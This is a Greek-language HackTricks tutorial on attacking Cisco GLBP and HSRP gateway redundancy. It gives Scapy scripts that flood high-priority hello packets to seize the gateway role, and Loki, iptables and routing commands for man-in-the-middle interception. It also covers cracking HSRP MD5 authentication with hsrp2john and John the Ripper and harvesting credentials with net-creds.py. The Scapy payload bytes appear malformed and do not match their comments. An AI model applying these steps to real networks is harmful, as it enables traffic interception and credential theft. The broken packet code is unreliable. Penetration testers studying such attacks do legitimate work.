GLBP & HSRP Επιθέσεις

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

FHRP Hijacking Overview

Επισκόπηση του FHRP

Το FHRP έχει σχεδιαστεί για να παρέχει ανθεκτικότητα στο δίκτυο συγχωνεύοντας πολλαπλούς δρομολογητές σε μία εικονική μονάδα, βελτιώνοντας έτσι την κατανομή φόρτου και την αντοχή σε σφάλματα. Η Cisco Systems εισήγαγε σημαντικά πρωτόκολλα σε αυτό το σύνολο, όπως τα GLBP και HSRP.

GLBP — Πληροφορίες Πρωτοκόλλου

Η δημιουργία της Cisco, GLBP, λειτουργεί στο TCP/IP stack, χρησιμοποιώντας UDP στην πόρτα 3222 για επικοινωνία. Οι δρομολογητές σε μια ομάδα GLBP ανταλλάσσουν “hello” πακέτα σε διαστήματα των 3 δευτερολέπτων. Εάν ένας δρομολογητής δεν στείλει αυτά τα πακέτα για 10 δευτερόλεπτα, θεωρείται εκτός λειτουργίας. Ωστόσο, αυτά τα χρονόμετρα δεν είναι σταθερά και μπορούν να τροποποιηθούν.

Το GLBP για IPv6 χρησιμοποιεί multicast FF02::66 πάνω από UDP/3222, και η μορφή της εικονικής MAC γίνεται 0007.b4xx.xxyy (AVF ID βρίσκεται στο τελευταίο byte). Οι χρόνοι και η επιφάνεια επίθεσης παραμένουν οι ίδιοι όπως στο IPv4, οπότε οι τεχνικές hijack λειτουργούν ακόμα σε dual‑stack δίκτυα.

Λειτουργίες GLBP και Κατανομή Φόρτου

Το GLBP ξεχωρίζει επιτρέποντας την κατανομή φόρτου ανά δρομολογητές χρησιμοποιώντας μία εικονική IP μαζί με πολλαπλές εικονικές MAC διευθύνσεις. Σε μια ομάδα GLBP, κάθε δρομολογητής συμμετέχει στην προώθηση πακέτων. Σε αντίθεση με HSRP/VRRP, το GLBP προσφέρει πραγματική ισορρόπηση φόρτου μέσω διαφόρων μηχανισμών:

  • Host-Dependent Load Balancing: Διατηρεί συνεπή ανάθεση AVF MAC διεύθυνσης σε έναν host, ουσιώδες για σταθερές ρυθμίσεις NAT.
  • Round-Robin Load Balancing: Η προεπιλεγμένη μέθοδος, εναλλάσσοντας την ανάθεση AVF MAC διευθύνσεων ανάμεσα στους αιτούμενους hosts.
  • Weighted Round-Robin Load Balancing: Κατανέμει το φόρτο βάσει προκαθορισμένων μετρικών “Weight”.

Κύρια Συστατικά και Ορολογία στο GLBP

  • AVG (Active Virtual Gateway): Ο κύριος δρομολογητής, υπεύθυνος για την κατανομή MAC διευθύνσεων σε ομότιμους δρομολογητές.
  • AVF (Active Virtual Forwarder): Ένας δρομολογητής που ορίζεται να διαχειρίζεται την κυκλοφορία δικτύου.
  • GLBP Priority: Ένα μέτρο που καθορίζει τον AVG, με προεπιλεγμένη τιμή 100 και εύρος 1 έως 255.
  • GLBP Weight: Αντανακλά το τρέχον φόρτο σε έναν δρομολογητή, ρυθμιζόμενο χειροκίνητα ή μέσω Object Tracking.
  • GLBP Virtual IP Address: Λειτουργεί ως η προεπιλεγμένη πύλη δικτύου για όλες τις συνδεδεμένες συσκευές.

Για αλληλεπιδράσεις, το GLBP χρησιμοποιεί την κρατημένη multicast διεύθυνση 224.0.0.102 και UDP port 3222. Οι δρομολογητές εκπέμπουν “hello” πακέτα σε διαστήματα των 3 δευτερολέπτων και θεωρούνται μη λειτουργικοί εάν χαθεί κάποιο πακέτο για 10 δευτερόλεπτα.

Μηχανισμός Επίθεσης GLBP

Ένας επιτιθέμενος μπορεί να γίνει ο κύριος δρομολογητής στέλνοντας ένα GLBP πακέτο με την υψηλότερη τιμή προτεραιότητας (255). Αυτό μπορεί να οδηγήσει σε DoS ή MITM επιθέσεις, επιτρέποντας την υποκλοπή ή την ανακατεύθυνση της κυκλοφορίας.

Practical GLBP hijack with Scapy (short PoC)

from scapy.all import *

vip = "10.10.100.254"          # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64"      # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)

Συνθέστε τα payload bytes για να μιμηθείτε το GLBP header (version/opcode/priority/weight/VRID). Το looping του frame εξασφαλίζει ότι κερδίζετε την AVG election αν η authentication απουσιάζει.

Εκτέλεση GLBP Attack με Loki

Loki μπορεί να εκτελέσει ένα GLBP attack με την ένεση ενός πακέτου όπου priority και weight έχουν οριστεί σε 255. Τα προ-επιθετικά βήματα περιλαμβάνουν τη συλλογή πληροφοριών όπως το virtual IP address, η παρουσία authentication και οι τιμές priority των router χρησιμοποιώντας εργαλεία όπως Wireshark.

Attack Steps:

  1. Θέστε σε promiscuous mode και ενεργοποιήστε το IP forwarding.
  2. Εντοπίστε τον στοχευόμενο router και ανακτήστε τη διεύθυνση IP του.
  3. Δημιουργήστε ένα Gratuitous ARP.
  4. Εγχύστε ένα κακόβουλο GLBP packet, υποδυόμενοι τον AVG.
  5. Αναθέστε μια secondary IP address στη δικτυακή διεπαφή του επιτιθέμενου, καθρεφτίζοντας το GLBP virtual IP.
  6. Υλοποιήστε SNAT για πλήρη ορατότητα της κυκλοφορίας.
  7. Προσαρμόστε το routing για να εξασφαλίσετε συνεχή πρόσβαση στο internet μέσω του αρχικού AVG router.

Ακολουθώντας αυτά τα βήματα, ο επιτιθέμενος τοποθετείται ως “man in the middle”, ικανός να παρεμβαίνει και να αναλύει την δικτυακή κυκλοφορία, συμπεριλαμβανομένων μη κρυπτογραφημένων ή ευαίσθητων δεδομένων.

Για επίδειξη, εδώ είναι τα απαιτούμενα command snippets:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Η παρακολούθηση και η υποκλοπή της κυκλοφορίας μπορούν να γίνουν χρησιμοποιώντας το net-creds.py ή παρόμοια εργαλεία για την καταγραφή και ανάλυση των δεδομένων που ρέουν μέσω του συμβιβασμένου δικτύου.

Παθητική Εξήγηση του HSRP Hijacking με Λεπτομέρειες Εντολών

Επισκόπηση του HSRP (Hot Standby Router/Redundancy Protocol)

Το HSRP είναι ένα ιδιόκτητο πρωτόκολλο της Cisco σχεδιασμένο για πλεονασμό της προεπιλεγμένης πύλης δικτύου. Επιτρέπει τη διαμόρφωση πολλαπλών φυσικών δρομολογητών σε μια ενιαία λογική οντότητα με κοινή διεύθυνση IP. Αυτή η λογική μονάδα διαχειρίζεται από έναν πρωτεύοντα δρομολογητή που είναι υπεύθυνος για τη δρομολόγηση της κυκλοφορίας. Σε αντίθεση με το GLBP, που χρησιμοποιεί μετρικές όπως προτεραιότητα και βάρος για εξισορρόπηση φορτίου, το HSRP βασίζεται σε έναν μόνο ενεργό δρομολογητή για τη διαχείριση της κυκλοφορίας.

HSRPv1 χρησιμοποιεί multicast 224.0.0.2 και εικονική MAC 0000.0c07.acXX; HSRPv2 και HSRPv2 για IPv6 χρησιμοποιούν 224.0.0.102 / FF02::66 και εικονική MAC 0000.0c9f.fXXX. Η προοριζόμενη θύρα UDP είναι 1985 για IPv4 και 2029 για IPv6.

Ρόλοι και Ορολογία στο HSRP

  • HSRP Active Router: Η συσκευή που λειτουργεί ως η προεπιλεγμένη πύλη, διαχειριζόμενη τη ροή της κυκλοφορίας.
  • HSRP Standby Router: Ένας εφεδρικός δρομολογητής, έτοιμος να αναλάβει αν ο ενεργός αποτύχει.
  • HSRP Group: Ένα σύνολο δρομολογητών που συνεργάζονται για να σχηματίσουν έναν ενιαίο ανθεκτικό εικονικό δρομολογητή.
  • HSRP MAC Address: Μια εικονική διεύθυνση MAC ανατεθείσα στον λογικό δρομολογητή στην εγκατάσταση HSRP.
  • HSRP Virtual IP Address: Η εικονική διεύθυνση IP της ομάδας HSRP, που λειτουργεί ως η προεπιλεγμένη πύλη για τις συνδεδεμένες συσκευές.

Εκδόσεις HSRP

Το HSRP υπάρχει σε δύο εκδόσεις, HSRPv1 και HSRPv2, που διαφέρουν κυρίως στην χωρητικότητα ομάδας, στη χρήση multicast IP και στη δομή της εικονικής διεύθυνσης MAC. Το πρωτόκολλο χρησιμοποιεί συγκεκριμένες multicast IP διευθύνσεις για ανταλλαγή πληροφοριών υπηρεσίας, με τα Hello πακέτα να αποστέλλονται κάθε 3 δευτερόλεπτα. Ένας δρομολογητής θεωρείται ανενεργός αν δεν ληφθεί πακέτο εντός διαστήματος 10 δευτερολέπτων.

Μηχανισμός Επίθεσης HSRP

Οι HSRP επιθέσεις περιλαμβάνουν την αναγκαστική κατάληψη του ρόλου του Active Router με την έγχυση μιας μέγιστης τιμής προτεραιότητας. Αυτό μπορεί να οδηγήσει σε Man-In-The-Middle (MITM) επίθεση. Βασικά προ-επιθετικά βήματα περιλαμβάνουν τη συλλογή πληροφοριών για τη διαμόρφωση HSRP, κάτι που μπορεί να γίνει χρησιμοποιώντας το Wireshark για ανάλυση της κυκλοφορίας.

Quick HSRP takeover with Scapy

from scapy.all import *

vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01"  # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)

Αν η πιστοποίηση όχι έχει ρυθμιστεί, η συνεχής αποστολή hellos με υψηλότερη προτεραιότητα αναγκάζει τους ομότιμους κόμβους σε καταστάσεις Speak/Listen και σας επιτρέπει να γίνετε Active, ανακατευθύνοντας την κυκλοφορία μέσω του host σας.

HSRP authentication corner cases

  • Η legacy plain-text auth μπορεί να πλαστογραφηθεί πολύ εύκολα.
  • Η MD5 authentication καλύπτει μόνο το HSRP payload· κακόβουλα κατασκευασμένα πακέτα μπορούν να επιβαρύνουν/προκαλέσουν DoS στα control planes. Εκδόσεις NX-OS προηγουμένως επέτρεπαν DoS εναντίον ομάδων με πιστοποίηση (βλ. Cisco advisory CSCup11309).
  • Σε πολλά ISP / VPS shared VLANs, τα HSRPv1 multicasts είναι ορατά στους tenants· χωρίς auth μπορείτε να συμμετάσχετε και να preempt την κυκλοφορία.

Βήματα για παράκαμψη της πιστοποίησης HSRP

  1. Αποθηκεύστε την δικτυακή κίνηση που περιέχει δεδομένα HSRP ως αρχείο .pcap.
tcpdump -w hsrp_traffic.pcap
  1. Εξάγετε MD5 hashes από το αρχείο .pcap χρησιμοποιώντας hsrp2john.py.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. Σπάστε τα MD5 hashes χρησιμοποιώντας John the Ripper.
john --wordlist=mywordlist.txt hsrp_hashes

Εκτέλεση HSRP Injection με Loki

  1. Εκκινήστε το Loki για να εντοπίσετε HSRP advertisements.
  2. Θέστε το δικτυακό interface σε promiscuous mode και ενεργοποιήστε το IP forwarding.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Χρησιμοποιήστε το Loki για να στοχεύσετε τον συγκεκριμένο router, εισάγετε τον cracked HSRP password και πραγματοποιήστε τις απαραίτητες ρυθμίσεις για να υποδυθείτε τον Active Router.
  2. Μετά την απόκτηση του ρόλου Active Router, διαμορφώστε το δικτυακό σας interface και τα iptables για να υποκλέψετε την νόμιμη κυκλοφορία.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. Τροποποιήστε τον πίνακα δρομολόγησης ώστε η κίνηση να περνά μέσω του πρώην Active Router.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. Χρησιμοποιήστε το net-creds.py ή ένα παρόμοιο εργαλείο για να συλλέξετε credentials από την υποκλεμμένη κυκλοφορία.
sudo python2 net-creds.py -i eth0

Η εκτέλεση αυτών των βημάτων θέτει τον επιτιθέμενο σε θέση να υποκλέψει και να χειραγωγήσει την κυκλοφορία, παρόμοια με τη διαδικασία για GLBP hijacking. Αυτό αναδεικνύει την ευπάθεια σε πρωτόκολλα redundancy όπως το HSRP και την ανάγκη για ισχυρά μέτρα ασφάλειας.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks